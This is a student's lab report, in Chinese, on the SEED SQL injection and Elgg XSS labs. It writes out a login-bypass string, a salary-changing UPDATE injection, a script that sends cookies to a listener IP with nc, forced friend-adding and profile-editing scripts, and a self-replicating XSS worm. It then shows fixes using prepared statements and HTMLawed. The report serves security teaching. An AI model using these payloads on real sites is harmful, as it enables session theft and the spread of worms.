实践十 Web应用程序安全攻防
1.实践内容
(1)SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
-
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗:修复上述SQL注入攻击漏洞。
(2)SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
2.实践过程
(1)SEED SQL注入攻击与防御实验
打开seed虚拟机,输入mysql -u root -p登录mysql,密码为seedubuntu
- 熟悉SQL语句
输入指令use Users和show tables查看数据表
输入指令select * from credential; 在这里可以看到员工各项信息。
- 对SELECT语句的SQL注入攻击
然后打开浏览器并打开www.SEEDLabSQLInjection.com网站
输入任意的账号密码,点击login并按f12查看,可以看到行校验的是unsafe_home.php
接下来在终端输入vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,可以看到数据库的用户名为root,密码为seedubuntu
当用户名是admin时,用户信息表名为credential
回到登录界面,使用字符串admin '#进行登录,由于#后面的语句被注释掉了不会执行,可以跳过密码的校验
- 对SELECT语句的SQL注入攻击
UPDATE语句的内容在是unsafe_edit_backend.php中,输入vim /var/www/SQLInjection/unsafe_edit_backend.php 打开源代码,找到update的部分
可以看到更新信息的update语句,首先获取nickname的修改值,若输入nickname时第一个字符输入’,与输入内容前的 ’ 完成修改值录入,此时直接输入sql语句会被运行,最后以#结尾注释掉后续代码,即可完成sql注入攻击
使用之前所述的方法登录网站,将admin改为Ryan,登录到Ryan的信息界面
点击Edit Profile,在nickname一栏输入’, salary=‘88888888’ where EID=‘30000’;#
点击保存,发现工资被成功通过sql注入攻击修改
- SQL对抗:修复上述SQL注入攻击漏洞。
在unsafe_edit_backend.php中修改update部分,改为`
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);`
此外,修改unsafe_home.php文件的select语句部分,修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);
此时再次使用sql注入攻击会无法登录
(2)SEED XSS跨站脚本攻击实验(Elgg)
访问网站http://www.xsslabelgg.com
输入用户名alice,密码seedalice登录
- 发布恶意消息,显示警报窗口:
点击左上角的头像进入用户信息界面,再点击edit profile
在brief description中添加js代码
登录boby账号,搜索alice账号信息并查看,成功出现弹窗
- 弹窗显示cookie信息:
按照上述步骤为boby添加js代码
此时登录alice账号,查看boby的信息会出现cookie弹窗
- 窃取受害者的cookies:
按照上述步骤,输入以下js代码
<script>
document.write('<img src=http://192.168.200.7:5555?c=' + escape(document.cookie) + '>');
</script>
输入nc -l 5555 -v指令进行监听,登录alice账号,查看boby的主页,访问者的cookie信息就被获得
- 成为受害者的朋友:
登录alice并搜索boby,点击add friend
按f12可以看到添加朋友发送的请求数据包,查看 request url,发现有三个请求参数friend、__elgg_ts和__elgg_token
添加js代码
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
此时登录alice,搜索并查看boby主页,被自动添加为好友
- 修改受害者的信息:
查看修改信息时的请求包
编辑alice信息,添加js代码
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20222807cjl</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
此时登录boby账号,查看alice主页,返回发现主页信息被修改
- 编写XSS蠕虫。
修改alice的about me如下
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20222087cjl"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用boby查看alice的主页,再切换到admin账号访问boby主页,发现同样被修改
- 对抗XSS攻击。
登录admin账户,在"Account->administration->plugins->Security and Spam"路径下,找到HTMLawed,点击activate使其运行
此时查看alice的主页,可以看到代码被作为about me的文本显示了
3.学习中遇到的问题及解决
- 问题1:再about me中输入js代码保存后没有产生预期的结果
- 问题1解决方案:在修改信息界面中点击edit HTML后再输入代码
4.实践总结
本次实验实践性较强,通过在一个具体的网站系统进行攻击与防御学习了一些具体的网络攻防方法和场景
参考资料
- [《网络攻防技术与实践》诸葛建伟著]